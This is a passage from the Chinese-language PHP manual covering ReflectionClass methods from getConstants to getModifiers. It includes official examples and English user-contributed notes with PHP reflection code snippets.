可选过滤器，传入过滤所需的可见性常量。可用 ReflectionClassConstant 常量 进行配置，默认为所有可见性常量。

返回值

常量的数组，常量名是数组的键，常量的值是数组的值。

更新日志

版本 | 说明
8.0.0 | 添加 filter 。

参见

  • ReflectionClass::getConstant() - 获取已定义的常量

User Contributed Notes

dmitrochenkooleg at gmail dot com 05-Apr-2019 10:12
Get the latest constants declared.

abstract class AbstractEnum
{
    /**
     * Возвращает все константы класса || Return all constants
     *
     * @return array
     */
    static function getConstants()
    {
        $rc = new \ReflectionClass(get_called_class());

        return $rc->getConstants();
    }

    /**
     * Возвращает массив констант определенные в вызываемом классе  || Return last constants
     *
     * @return array
     */
    static function lastConstants()
    {
        $parentConstants = static::getParentConstants();

        $allConstants = static::getConstants();

        return array_diff($allConstants, $parentConstants);
    }

    /**
     * Возвращает все константы родительских классов || Return parent constants
     *
     * @return array
     */
    static function getParentConstants()
    {
        $rc = new \ReflectionClass(get_parent_class(static::class));
        $consts = $rc->getConstants();

        return $consts;
    }
}

======
class Roles extends AbstractEnum
{
    const ROOT = 'root';
    const ADMIN = 'admin';
    const USER = 'user';
}

// Output:
All: root, admin, user
Last: root, admin, user

class NewRoles extends Roles
{
    const CLIENT = 'client';
    const MODERATOR = 'moderator';
    const SUPERMODERATOR = 'super'.self::USER;
}

// Output:
All: client, moderator, superuser, root, admin, user
Last: client, moderator, superuser

class AdditionalRoles extends Roles
{
    const VIEWER = 'viewer';
    const CHECKER = 'checker';
    const ROOT = 'rooter';
}

All: viewer, checker, rooter, client, moderator, superuser, admin, user
Last: viewer, checker, rooter
Panni 17-Nov-2018 09:21
If you want to define a static getConstants() function which works with inheritance you can do the following:

<?php

abstract class AbstractClass
{
    const TEST = "test";

    public static function getConstants()
    {
        // "static::class" here does the magic
        $reflectionClass = new ReflectionClass(static::class);
        return $reflectionClass->getConstants();
    }
}

class ChildClass extends AbstractClass
{
    const TYPE_A = 1;
    const TYPE_B = 'hello';
}

$example = new ChildClass();
var_dump($example->getConstants());

// Result:
array(3) {
  'TYPE_A' => int(1)
  'TYPE_B' => string(5) "hello"
  'TEST' => string(4) "test"
}

?>
Sandor Toth 21-Nov-2016 02:50
You can pass $this as class for the ReflectionClass. __CLASS__ won't help if you extend the original class, because it is a magic constant based on the file itself.

<?php

class Example {
  const TYPE_A = 1;
  const TYPE_B = 'hello';

  public function getConstants()
  {
    $reflectionClass = new ReflectionClass($this);
    return $reflectionClass->getConstants();
  }
}

$example = new Example();
var_dump($example->getConstants());

// Result:
array ( size = 2)
  'TYPE_A' => int 1
  'TYPE_B' => (string) 'hello'
davide dot renzi at gmail dot com 16-Jul-2014 11:21
If you want to return the constants defined inside a class then you can also define an internal method as follows:

<?php
class myClass {
    const NONE = 0;
    const REQUEST = 100;
    const AUTH = 101;

    // others...

    static function getConstants() {
        $oClass = new ReflectionClass(__CLASS__);
        return $oClass->getConstants();
    }
}
?>
shgninc at gmail dot com 20-Nov-2013 10:00
I use a functions to do somthing base on the class constant name as below. This example maybe helpful for everybody.
<?php
public function renderData($question_type = NULL, $data = array()) {
        $types = array();
        $qt = new ReflectionClass(questionType);
        $types = $qt->getConstants();
        if ($type = array_search($question_type, $types)){
                //.....Do somthing
}
}
?>
djhob1972 at yahoo dot com dot au 16-Dec-2009 05:42
I was trying to determine how to get a var_dump of constants that are within an interface.  Thats right, not using any classes but the interface itself.

Along my travels I found it quite interesting that the ReflectionClass along with a direct call to the interface will also dump its constants.  Perfect!!!!

This was using PHP 5.3.1 and my example as below:-

1st File:

constants.php

<?php
<?php>

interface MyConstants
{
    // --------------------------
    // Programmatic Level
    // --------------------------
    const DEBUG_MODE_ACTIVE       = FALSE;
    const PHP_VERSION_REQUIREMENT = "5.1.2";
}
?>

=======
Second file:
=======

test.php

<?php>
include_once ("constants.php");

$oClass = new ReflectionClass ('MyConstants');
$array = $oClass->getConstants ();
var_dump ($array);
unset ($oClass);
?>

what you would get from the command line:-

?:\???\htdocs\????>php test.php
array(2) {
  ["DEBUG_MODE_ACTIVE"]=> bool(false)
  ["PHP_VERSION_REQUIREMENT"]=> string(5) "5.1.2"

But as you can see this can work quite well to your advantage in many ways so I truely hope this helps someone else with a similar headache in the future to come!

Enjoy!


获取类的构造函数

  • ? ReflectionClass::getConstants
  • ReflectionClass::getDefaultProperties ?
  • PHP Manual
  • ReflectionClass
  • 获取类的构造函数

ReflectionClass::getConstructor

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getConstructor — 获取类的构造函数

说明

public ReflectionClass::getConstructor(): ?ReflectionMethod

获取已反射的类的构造函数。

参数

此函数没有参数。

返回值

一个 ReflectionMethod 对象，反射了类的构造函数，或者当类不存在构造函数时返回 null。

示例

Example #1 ReflectionClass::getConstructor() 的基本用法

<?php
$class = new ReflectionClass('ReflectionClass');
$constructor = $class->getConstructor();
var_dump($constructor);
?>

以上示例会输出：

object(ReflectionMethod)#2 (2) {
  ["name"]=>
  string(11) "__construct"
  ["class"]=>
  string(15) "ReflectionClass"
}

参见

  • ReflectionClass::getName() - 获取类名

User Contributed Notes

martin dot melka at gmail dot com 01-Jul-2019 09:03
This method will return the parent's constructor, if the current class does not override it.

NULL will only be returned when the class has no constructor AND none of its parents have a constructor either.
jochem at drecomm dot nl 13-May-2011 08:13
Old constructors also count as contructor:

<?php

class SomeClass {

    function SomeClass($some_arg) {
    }

}

$refl = new ReflectionClass('SomeClass');

var_dump($refl->isInstantiable()); // bool(true)

echo $refl->getConstructor();

/* OUTPUT:
Method [ <user, ctor> public method SomeClass ] {
  @@ /var/www/vhosts/api.example.com/httpdocs/testRefl.php 5 - 6

  - Parameters [1] {
    Parameter #0 [ <required> $some_arg ]
  }
}
*/

?>

Some more behavior:

<?php

class SomeClass {

   function funcA($arg1, $arg2) {

   }

}

$refl = new ReflectionClass('SomeClass');

var_dump($refl->isInstantiable()); // bool(true)

var_dump($refl->getConstructor()); // NULL

/* --------------- */

class AnotherClass {

   private function __construct() {
   }

   function funcB($arg1, $arg2) {

   }

}

$refl = new ReflectionClass('AnotherClass');

var_dump($refl->isInstantiable()); // bool(false)

echo $refl->getConstructor();
/*
Method [ <user, ctor> private method __construct ] {
  @@ /testRefl.php 22 - 23
}
*/

?>

Tested on PHP 5.2.4
Rob McVey 16-Jul-2010 07:47
Just posting some example code for anyone wanting to mess around with this stuff:

<?php

class Say
{
    private $what_to_say;
    public function __construct($no_default, $word = "Hello World", $options = array('a', 'b'))
    {
        $this->what_to_say = $word;
    }

    public function speak()
    {
        echo $this->what_to_say;
    }
}

$class = new ReflectionClass('Say');

$constructor = $class->getConstructor();

echo $constructor;

/*     OUTPUTS:

Method [ <user, ctor> public method __construct ] {
  @@ /reflect.php 6 - 9

  - Parameters [3] {
    Parameter #0 [ <required> $no_default ]
    Parameter #1 [ <optional> $word = 'Hello World' ]
    Parameter #2 [ <optional> $options = Array ]
  }
}

*/

$parameters = $constructor->getParameters();

var_export($parameters);

/*    OUTPUT:

array (
  0 =>
  ReflectionParameter::__set_state(array(
     'name' => 'no_default',
  )),
  1 =>
  ReflectionParameter::__set_state(array(
     'name' => 'word',
  )),
  2 =>
  ReflectionParameter::__set_state(array(
     'name' => 'options',
  )),
)

*/

$nl = "\n";
echo "$nl\tParameters$nl";
foreach($parameters as $param)
{
    echo "****** $" . $param->name . " ******$nl";
    echo "Nullable:\t\t" . $param->allowsNull() . $nl
         ."Default Value:\t\t";
    echo ($param->isDefaultValueAvailable()) ? $param->getDefaultValue() : "None";
    echo $nl ."Is Array:\t\t";
    echo ($param->isArray()) ? "Yes" : "No";
    echo $nl . "Optional:\t\t";
    echo ($param->isOptional()) ? "Yes" : "No";
    echo $nl;
}

/*    OUTPUT:

    Parameters
****** $no_default ******
Nullable:        1
Default Value:    None
Is Array:        No
Optional:        No
****** $word ******
Nullable:        1
Default Value:    Hello World
Is Array:        No
Optional:        Yes
****** $options ******
Nullable:        1
Default Value:    Array
Is Array:        No
Optional:        Yes

*/

?>

To clarify the possibly confusing behavior of ReflectionParemeter::isArray(), it will return true if the parameter has type hinting:

<?php
...
public function __construct($no_default, $word = "Hello World", array $options = array('a', 'b'))
...
?>

Calling isArray() will now return true for the $options parameter


获取默认属性

  • ? ReflectionClass::getConstructor
  • ReflectionClass::getDocComment ?
  • PHP Manual
  • ReflectionClass
  • 获取默认属性

ReflectionClass::getDefaultProperties

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getDefaultProperties — 获取默认属性

说明

public ReflectionClass::getDefaultProperties(): array

获取类的默认属性（包括了继承的属性）。

Note:

当在内部类中使用时，此方法仅用于静态属性，当在用户定义类中使用此方法时，无法追踪静态类属性的默认值。

参数

此函数没有参数。

返回值

默认属性的 array，其键是属性的名称，其值是属性的默认值或者 null（如果没有默认值）。这个函数不区分静态和非静态属性，也不考虑可见性修饰符。

示例

Example #1 ReflectionClass::getDefaultProperties() 示例

<?php
class Bar {
protected $inheritedProperty = 'inheritedDefault';
}

class Foo extends Bar {
public $property = 'propertyDefault';
private $privateProperty = 'privatePropertyDefault';
public static $staticProperty = 'staticProperty';
public $defaultlessProperty;
}

$reflectionClass = new ReflectionClass('Foo');
var_dump($reflectionClass->getDefaultProperties());
?>

以上示例会输出：

array(5) {
   ["staticProperty"]=>
   string(14) "staticProperty"
   ["property"]=>
   string(15) "propertyDefault"
   ["privateProperty"]=>
   string(22) "privatePropertyDefault"
   ["defaultlessProperty"]=>
   NULL
   ["inheritedProperty"]=>
   string(16) "inheritedDefault"
}

参见

  • ReflectionClass::getProperties() - 获取属性
  • ReflectionClass::getStaticProperties() - 获取静态（static）属性
  • ReflectionClass::getProperty() - 获取类的一个属性的 ReflectionProperty

User Contributed Notes

articice at ua dot fm 17-Mar-2016 12:15
runaurufu is not quite right, get_class_vars() does not return protected params, while this one does.

Thus it's extremely useful when having an abstract parent class and protected properties overriding in children.
For example, I use a class factory and one of the children has some static test methods that still need to output a paramether name, like $this->name, etc. With this example code, one can use static::getNotStaticProperty('name'), but not get_class_vars('name').

Try it:

trait static_reflector {
    /*
     * a purely static function that returns default properties of the non-static instance of the same class
     */
    static protected function getNonStaticProperty($key) {
        $me = get_class();
        $reflectionClass = new \ReflectionClass($me);
        $properties_list = $reflectionClass->getDefaultProperties();
        if (isset($properties_list[$key]))
            return $var_name = $properties_list[$key];
        else throw new RuntimeException("BUG: Unable to reflect non-static property '{$key}' from default properties of class {$me}");
    }
}

class a {

    use \static_reflector;

    protected $key_a = 'test ok';

    public static function test() {
        echo static::getNonStaticProperty('key_a')."\n";

        try {
            print static::getNonStaticProperty('key_b');
            echo "FAIL No exception thrown";
        } catch (RuntimeException $e) {
            echo "OK ".$e->getMessage();
        }

    }
}

echo get_class_vars('a')['key_a'];
a::test();

this will return:
Notice: Undefined index: key_a in ...
test ok
OK BUG: Unable to reflect non-static property 'key_b' from default properties of class a

ps: Yes, this is copied from a unit test.
runaurufu AT gmail.com 04-Aug-2011 01:02
Worth noting that it will not return private parameters of parent class...
so it works exactly as get_class_vars or get_object_vars
captainjester at hotmail dot com 20-Jan-2010 03:20
This will return all properties in a class and any parent classes.  The array will have keys set to the property names and empty values.


获取文档注释

  • ? ReflectionClass::getDefaultProperties
  • ReflectionClass::getEndLine ?
  • PHP Manual
  • ReflectionClass
  • 获取文档注释

ReflectionClass::getDocComment

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getDocComment — 获取文档注释

说明

public ReflectionClass::getDocComment(): string|false

从类中获取文档注释。文档注释以 /** 开头，后跟空格。 如果类定义上方有多个文档注释，则采用最接近该类的注释。

参数

此函数没有参数。

返回值

如果存在则返回文档注释，否则返回 false。

示例

Example #1 ReflectionClass::getDocComment() 示例

<?php
/**
* A test class
*
* @param foo bar
* @return baz
*/
class TestClass { }

$rc = new ReflectionClass('TestClass');
var_dump($rc->getDocComment());
?>

以上示例会输出：

string(61) "/**
 * A test class
 *
 * @param  foo bar
 * @return baz
 */"

参见

  • ReflectionClass::getName() - 获取类名

User Contributed Notes

bohwaz 15-Feb-2019 10:41
Please note that doc comments are handled differently than regular comments by PHP and the OpCache.

Doc comments are actually kept by the OpCache and accessible by this reflection API, unless disabled by the "opcache.save_comments" INI directive, see http://php.net/manual/en/opcache.configuration.php#ini.opcache.save-comments
i at hyurl dot com 23-Jul-2017 04:35
Not only this method can find a document by a given method name of a class, like this
 <?php
class Foo{
    /**
     * something describes this method
     */
    function bar(){
        /** code here... */
    }
}
$ref = new ReflectionClass('Foo');
print_r($ref->getMethod('bar')->getDocComment()); //will print out the method document as expected.
?>
But, also, if there is no method document in the defination, and the class extends from some other class, the program will automatically
try to find document from the parent class., like this:
<?php
class Foo2 extends Foo{}

$ref = new ReflectionClass('Foo');
print_r($ref->getMethod('bar')->getDocComment()); //will print out the method document as expected.
?>
geoffreybans at gmail dot com 07-Jan-2016 02:15
This code can help you get the contents of a docBlock in array format beginning with the @symbol and ignoring the (*) asterists.

class Home {

    /**
     *This method loads the homepage
     *@param int $id The user id
     *@throws \Exception If the user id doesn't exist
     *@return void
     */
    public function index( $id)
    {

         #...your code here

      }

}

$object = new Home();

//get the comment string
$comment_string= (new ReflectionClass($object))->getMethod('index')->getdoccomment();

//define the regular expression pattern to use for string matching
$pattern = "#(@[a-zA-Z]+\s*[a-zA-Z0-9, ()_].*)#";

//perform the regular expression on the string provided
preg_match_all($pattern, $comment_string, $matches, PREG_PATTERN_ORDER);

echo "<pre>"; print_r($matches);

//this outputs
Array
(
    [0] => Array
        (
            [0] => @param int $id The user id
            [1] => @throws \Exception If the user id doesn't exist
            [2] => @return void
        )

    [1] => Array
        (
            [0] => @param int $id The user id
            [1] => @throws \Exception If the user id doesn't exist
            [2] => @return void
        )

)

//you can then be able to access the particular string values by index
gabe at fijiwebdesign dot com 23-Aug-2014 11:46
You can also get the docblock definitions for the defined methods of a class as such:

<?php
/**
 * This is an Example class
 */
class Example
{
    /**
     * This is an example function
     */
    public function fn()
    {
        // void
    }
}

$reflector = new ReflectionClass('Example');

// to get the Class DocBlock
echo $reflector->getDocComment()

// to get the Method DocBlock
$reflector->getMethod('fn')->getDocComment();

?>
sun 28-Jun-2014 02:11
Note that \ReflectionClass::getDocComment() ignores all other PHP code and all white-space between the last encountered T_DOC_COMMENT and the class/element definition.

The only exceptions appear to be T_NAMESPACE declarations and T_FUNCTION definitions.

<?php
/**
 * Before namespace.
 */
namespace Foo;

 /**
 * After namespace.
   */

// ^^ contains excessive leading + trailing white-space.
use Bar\Baz;
const FOO = 'BAR';
$ns = 'bar';
# function foo() {}
$a = 2 + 1;
#/** what? */
// ^^ A single-line T_DOC_COMMENT is invisible when commented out.
count(array());

class Foo {
}

$reflector = new \ReflectionClass('Foo\Foo');
var_dump($reflector->getDocComment());
?>
yields, despite all the garbage in between:

string(28) "/**
 * After namespace.
   */"

To sum up:

1. If there are multiple doc comments, the last encountered applies.

2. Removing the "After namespace." docblock yields FALSE.
   (The namespace delimits the scope.)

3. Uncommenting the function definition yields FALSE.
   (The doc comment applies to the function instead.)

4. Despite being an own language construct, the "const" constant declaration does not delimit the scope.

5. Any leading and trailing white-space before and after the T_DOC_COMMENT ("/**...*/") is ignored, but the entire string content within (including all white-space) is consumed literally/verbatim.

[PHP 5.4.29]
uramihsayibok, gmail, com 15-Sep-2010 09:50
According to what I can find in the PHP (5.3.2) source code, getDocComment will return the doc comment as the parser found it.
The doc comment (T_DOC_COMMENT) must begin with a /** - that's two asterisks, not one. The comment continues until the first */. A normal multi-line comment /*...*/ (T_COMMENT) does not count as a doc comment.

The doc comment itself includes those five characters, so <?php substr($doccomment, 3, -2) ?> will get you what's inside. A call to trim() after is recommended.
joe dot scylla at gmail dot com 14-Oct-2009 08:23
If you're using a bytecode cache like eAccelerator this method will return FALSE even if there is a properly formatted Docblock. It looks like the information required by this method gets stripped out by the bytecode cache.


获取最后一行的行数

  • ? ReflectionClass::getDocComment
  • ReflectionClass::getExtension ?
  • PHP Manual
  • ReflectionClass
  • 获取最后一行的行数

ReflectionClass::getEndLine

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getEndLine — 获取最后一行的行数

说明

public ReflectionClass::getEndLine(): int|false

从用户定义的类获取其最后一行的行数。

参数

此函数没有参数。

返回值

返回用户定义的类最后一行的行数，如果未知则返回 false。

示例

Example #1 ReflectionClass::getEndLine() 示例

<?php
// Test Class
class TestClass { }

$rc = new ReflectionClass('TestClass');

echo $rc->getEndLine();
?>

以上示例会输出：

3

参见

  • ReflectionClass::getStartLine() - 获取起始行号

User Contributed Notes

There are no user contributed notes for this page.


根据已定义的类获取所在扩展的 ReflectionExtension 对象

  • ? ReflectionClass::getEndLine
  • ReflectionClass::getExtensionName ?
  • PHP Manual
  • ReflectionClass
  • 根据已定义的类获取所在扩展的 ReflectionExtension 对象

ReflectionClass::getExtension

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getExtension — 根据已定义的类获取所在扩展的 ReflectionExtension 对象

说明

public ReflectionClass::getExtension(): ?ReflectionExtension

获取已定义类的扩展的 ReflectionExtension 对象。

参数

此函数没有参数。

返回值

类所处的扩展的 ReflectionExtension 对象的表示，如果是用户定义的类则返回 null。

示例

Example #1 ReflectionClass::getExtension() 的基本用法

<?php
$class = new ReflectionClass('ReflectionClass');
$extension = $class->getExtension();
var_dump($extension);
?>

以上示例会输出：

object(ReflectionExtension)#2 (1) {
  ["name"]=>
  string(10) "Reflection"
}

参见

  • ReflectionClass::getExtensionName() - 获取定义的类所在的扩展的名称

User Contributed Notes

There are no user contributed notes for this page.


获取定义的类所在的扩展的名称

  • ? ReflectionClass::getExtension
  • ReflectionClass::getFileName ?
  • PHP Manual
  • ReflectionClass
  • 获取定义的类所在的扩展的名称

ReflectionClass::getExtensionName

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getExtensionName — 获取定义的类所在的扩展的名称

说明

public ReflectionClass::getExtensionName(): string|false

获取定义的类所在的扩展的名称。

参数

此函数没有参数。

返回值

获取定义的类所在的扩展的名称，如果是用户定义的类，则返回 false。

示例

Example #1 ReflectionClass::getExtensionName() 的基本用法

<?php
$class = new ReflectionClass('ReflectionClass');
$extension = $class->getExtensionName();
var_dump($extension);
?>

以上示例会输出：

string(10) "Reflection"

参见

  • ReflectionClass::getExtension() - 根据已定义的类获取所在扩展的 ReflectionExtension 对象

User Contributed Notes

There are no user contributed notes for this page.


获取定义类的文件名

  • ? ReflectionClass::getExtensionName
  • ReflectionClass::getInterfaceNames ?
  • PHP Manual
  • ReflectionClass
  • 获取定义类的文件名

ReflectionClass::getFileName

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getFileName — 获取定义类的文件名

说明

public ReflectionClass::getFileName(): string|false

获取类被定义的文件的文件名。

参数

此函数没有参数。

返回值

返回类所定义的文件名。如果这个类是在 PHP 核心或 PHP 扩展中定义的，则返回 false。

参见

  • ReflectionClass::getExtensionName() - 获取定义的类所在的扩展的名称

User Contributed Notes

robot at znframework dot com 25-Nov-2017 06:47
<?php

$a = new \ReflectionClass('ZN\Database\InternalDB');

var_dump($a->getFileName());

// Output:  C:\xampp7\htdocs\develop\Internal\Database\DB\InternalDB.php


获取接口（interface）名称

  • ? ReflectionClass::getFileName
  • ReflectionClass::getInterfaces ?
  • PHP Manual
  • ReflectionClass
  • 获取接口（interface）名称

ReflectionClass::getInterfaceNames

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionClass::getInterfaceNames — 获取接口（interface）名称

说明

public ReflectionClass::getInterfaceNames(): array

获取接口（interface）名称。

参数

此函数没有参数。

返回值

一个数值数组，接口（interface）的名称是数组的值。

示例

Example #1 ReflectionClass::getInterfaceNames() 示例

<?php
interface Foo { }

interface Bar { }

class Baz implements Foo, Bar { }

$rc1 = new ReflectionClass("Baz");

print_r($rc1->getInterfaceNames());
?>

以上示例的输出类似于：

Array
(
    [0] => Foo
    [1] => Bar
)

参见

  • ReflectionClass::getInterfaces() - 获取接口

User Contributed Notes

pvdhurk 23-Jul-2020 12:43
For the record, it will return the full name (not the short name) for each Interface

Example with namespace would've helped.
pinpin 27-Mar-2011 04:11
It seems the interface names are actually listed in a defined order:
- "extends" takes precedence over "implements" (i.e. first will be interfaces from (implemented in) the parent class (if any), then interfaces implemented in the class itself)
- when multiple interfaces are implemented at one time/level, it can be:
+ from an "implements" : they're listed in the defined order
+ from an "extends" (a class extends another class which implements multiple interfaces; or an interface extends multiple interfaces) : they're listed in REVERSE order

<?php
interface Foo {}
interface Bar {}
interface Other {}
interface Foobar extends Foo, Bar {}
interface Barfoo extends Bar, Foo {}

class Test1 implements Foo, Bar {}
class Test2 implements Bar, Foo {}

class Test3 extends Test1 {}
class Test4 extends Test2 {}

class Test5 extends Test1 implements Other {}

class Test6 implements Foobar, Other {}
class TestO implements Other {}
class Test7 extends TestO implements Barfoo {}

$r=new ReflectionClass('Test1');
print_r($r->getInterfaceNames()); // Foo, Bar

$r=new ReflectionClass('Test2');
print_r($r->getInterfaceNames()); // Bar, Foo

$r=new ReflectionClass('Test3');
print_r($r->getInterfaceNames()); // Bar, Foo

$r=new ReflectionClass('Test4');
print_r($r->getInterfaceNames()); // Foo, Bar

$r=new ReflectionClass('Test5');
print_r($r->getInterfaceNames()); // Bar, Foo, Other

$r=new ReflectionClass('Test6');
print_r($r->getInterfaceNames()); // Foobar, Bar, Foo, Other

$r=new ReflectionClass('Test7');
print_r($r->getInterfaceNames()); // Other, Barfoo, Foo, Bar
?>


获取接口

  • ? ReflectionClass::getInterfaceNames
  • ReflectionClass::getMethod ?
  • PHP Manual
  • ReflectionClass
  • 获取接口

ReflectionClass::getInterfaces

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getInterfaces — 获取接口

说明

public ReflectionClass::getInterfaces(): array

获取接口。

参数

此函数没有参数。

返回值

接口的关联数组，数组键是接口（interface）的名称，数组的值是 ReflectionClass 对象。

示例

Example #1 ReflectionClass::getInterfaces() 示例

<?php
interface Foo { }

interface Bar { }

class Baz implements Foo, Bar { }

$rc1 = new ReflectionClass("Baz");

print_r($rc1->getInterfaces());
?>

以上示例的输出类似于：

Array
(
    [Foo] => ReflectionClass Object
        (
            [name] => Foo
        )

    [Bar] => ReflectionClass Object
        (
            [name] => Bar
        )

)

参见

  • ReflectionClass::getInterfaceNames() - 获取接口（interface）名称

User Contributed Notes

There are no user contributed notes for this page.


获取类方法的 ReflectionMethod

  • ? ReflectionClass::getInterfaces
  • ReflectionClass::getMethods ?
  • PHP Manual
  • ReflectionClass
  • 获取类方法的 ReflectionMethod

ReflectionClass::getMethod

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getMethod — 获取类方法的 ReflectionMethod

说明

public ReflectionClass::getMethod(string $name): ReflectionMethod

获取类方法的 ReflectionMethod。

参数

name

要反射的方法名称。

返回值

一个 ReflectionMethod。

错误／异常

如果方法不存在则会抛出 ReflectionException 异常。

示例

Example #1 ReflectionClass::getMethod() 的基本用法

<?php
$class = new ReflectionClass('ReflectionClass');
$method = $class->getMethod('getMethod');
var_dump($method);
?>

以上示例会输出：

object(ReflectionMethod)#2 (2) {
  ["name"]=>
  string(9) "getMethod"
  ["class"]=>
  string(15) "ReflectionClass"
}

参见

  • ReflectionClass::getMethods() - 获取方法的数组

User Contributed Notes

sagittaracc at gmail dot com 04-Oct-2021 02:47
if you ever need to get the body of a method, use this extension (https://github.com/sagittaracc/reflection):

namespace sagittaracc\classes;

class Test
{
    public function method()
    {
        if (true) {
            return 'this method';
        }

        return 'never goes here';
    }
}

$reflection = new ReflectionClass(Test::class);
$method = $reflection->getMethod('method');
echo $method->body; // if (true) { return 'this method'; }  return 'never goes here';
Jarrod Nettles 22-Dec-2010 12:58
If you ever need to get the type hint of a parameter in a method use this.

<?php

//Target our class
$reflector = new ReflectionClass('MyClass');

//Get the parameters of a method
$parameters = $reflector->getMethod('FireCannon')->getParameters();

//Loop through each parameter and get the type
foreach($parameters as $param)
{
     //Before you call getClass() that class must be defined!
     echo $param->getClass()->name;
}

?>


获取方法的数组

  • ? ReflectionClass::getMethod
  • ReflectionClass::getModifiers ?
  • PHP Manual
  • ReflectionClass
  • 获取方法的数组

ReflectionClass::getMethods

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getMethods — 获取方法的数组

说明

public ReflectionClass::getMethods(?int $filter = null): array

获取类的方法的数组。

参数

filter

过滤结果为仅包含某些属性的方法。默认不过滤。

ReflectionMethod::IS_STATIC、
ReflectionMethod::IS_PUBLIC、
ReflectionMethod::IS_PROTECTED、
ReflectionMethod::IS_PRIVATE、
ReflectionMethod::IS_ABSTRACT、
ReflectionMethod::IS_FINAL 的按位或（OR），就会返回任意满足条件的属性。

Note: 请注意：其他位操作，例如 ~ 无法按预期运行。这个示例也就是说，无法获取所有的非静态方法。

返回值

包含每个方法 ReflectionMethod 对象的数组。

更新日志

版本 | 说明
7.2.0 | filter 现在允许为 null。

示例

Example #1 ReflectionClass::getMethods() 的基本用法

<?php
class Apple {
public function firstMethod() { }
final protected function secondMethod() { }
private static function thirdMethod() { }
}

$class = new ReflectionClass('Apple');
$methods = $class->getMethods();
var_dump($methods);
?>

以上示例会输出：

array(3) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(11) "firstMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [1]=>
  object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(12) "secondMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [2]=>
  object(ReflectionMethod)#4 (2) {
    ["name"]=>
    string(11) "thirdMethod"
    ["class"]=>
    string(5) "Apple"
  }
}

Example #2 从 ReflectionClass::getMethods() 中过滤结果

<?php
class Apple {
public function firstMethod() { }
final protected function secondMethod() { }
private static function thirdMethod() { }
}

$class = new ReflectionClass('Apple');
$methods = $class->getMethods(ReflectionMethod::IS_STATIC | ReflectionMethod::IS_FINAL);
var_dump($methods);
?>

以上示例会输出：

array(2) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(12) "secondMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [1]=>
  object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(11) "thirdMethod"
    ["class"]=>
    string(5) "Apple"
  }
}

参见

  • ReflectionClass::getMethod() - 获取类方法的 ReflectionMethod
  • get_class_methods() - 返回由类的方法名组成的数组

User Contributed Notes

tom at r dot je 11-Jun-2014 05:40
ReflectionClass::getMethods() sorts the methods by class (lowest in the inheritance tree first) then by the order they are defined in the class definition:

<?php
class A {
    public function method1() {

    }

    public function method2() {

    }
}

class B extends A {

    public function method3() {

    }

    public function method4() {

    }
}

$class = new ReflectionClass('B');
print_r($class->getMethods());
?>

This will output:

Array
(
    [0] => ReflectionMethod Object
        (
            [name] => method3
            [class] => B
        )

    [1] => ReflectionMethod Object
        (
            [name] => method4
            [class] => B
        )

    [2] => ReflectionMethod Object
        (
            [name] => method1
            [class] => A
        )

    [3] => ReflectionMethod Object
        (
            [name] => method2
            [class] => A
        )

)
x_atrix at yahoo dot com 10-Jul-2013 05:00
Note, for ReflectionClass::getMethods() not all methods in a final class are final, just the ones that have explicit modifier.
If you want to use an and operator for the filter, here is a simple implementation
<?php
final class Apple {
    public function publicMethod() { }
    public final function publicFinalMethod() { }
    protected final function protectedFinalMethod() { }
    private static function privateStaticMethod() { }
}

class MyReflection extends ReflectionClass {
    public function __construct($argument) {
        parent::__construct($argument);
    }

    /**
     * (non-PHPdoc)
     * @see ReflectionClass::getMethods()
     */
    public function getMethods($filter = null, $useAndOperator = true) {
        if ($useAndOperator !== true) {
            return parent::getMethods($filter);
        }

        $methods = parent::getMethods($filter);
        $results = array();

        foreach ($methods as $method) {
            if (($method->getModifiers() & $filter) === $filter) {
                $results[] = $method;
            }
        }

        return $results;
    }
}

$class = new MyReflection('Apple');
$methods = $class->getMethods(ReflectionMethod::IS_FINAL | ReflectionMethod::IS_PUBLIC);
var_dump($methods);

$methods = $class->getMethods(ReflectionMethod::IS_FINAL | ReflectionMethod::IS_PUBLIC, false);
var_dump($methods);
?>

Result:
array(1) {
  [0]=>
  object(ReflectionMethod)#4 (2) {
    ["name"]=>
    string(17) "publicFinalMethod"
    ["class"]=>
    string(5) "Apple"
  }
}

array(3) {
  [0]=>
  &object(ReflectionMethod)#5 (2) {
    ["name"]=>
    string(12) "publicMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [1]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(17) "publicFinalMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [2]=>
  &object(ReflectionMethod)#6 (2) {
    ["name"]=>
    string(20) "protectedFinalMethod"
    ["class"]=>
    string(5) "Apple"
  }
}
deminy at deminy dot net 22-Jun-2011 09:24
Method ReflectionClass::getMethods doesn't work constantly across different versions of PHP. For following code piece

<?php
class Dummy implements Iterator
{
    public function current () {}
    public function next () {}
    public function key () {}
    public function valid () {}
    public function rewind () {}
}

$reflection = new ReflectionClass('Dummy');
$aMethods = $reflection->getMethods();
echo '# of methods: ', count($aMethods), "\n";
?>

, it outputs "# of methods: 10" on PHP 5.2.14 and PHP 5.2.17, including all methods defined in the class itself and in the interface no matter if a method has been implemented or overridden; however, it returns "# of methods: 5" on PHP 5.3.5. Based on some other tests did by my colleagues, I assume it also returns "# of methods: 5" on PHP 5.2.10 and PHP 5.3.6.


获取类的修饰符

  • ? ReflectionClass::getMethods
  • ReflectionClass::getName ?
  • PHP Manual
  • ReflectionClass
  • 获取类的修饰符

ReflectionClass::getModifiers

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getModifiers — 获取类的修饰符

说明

public ReflectionClass::getModifiers(): int

返回这个类访问修饰符的位字段。

参数

此函数没有参数。

返回值

返回 修饰符常量 的位掩码。

参见

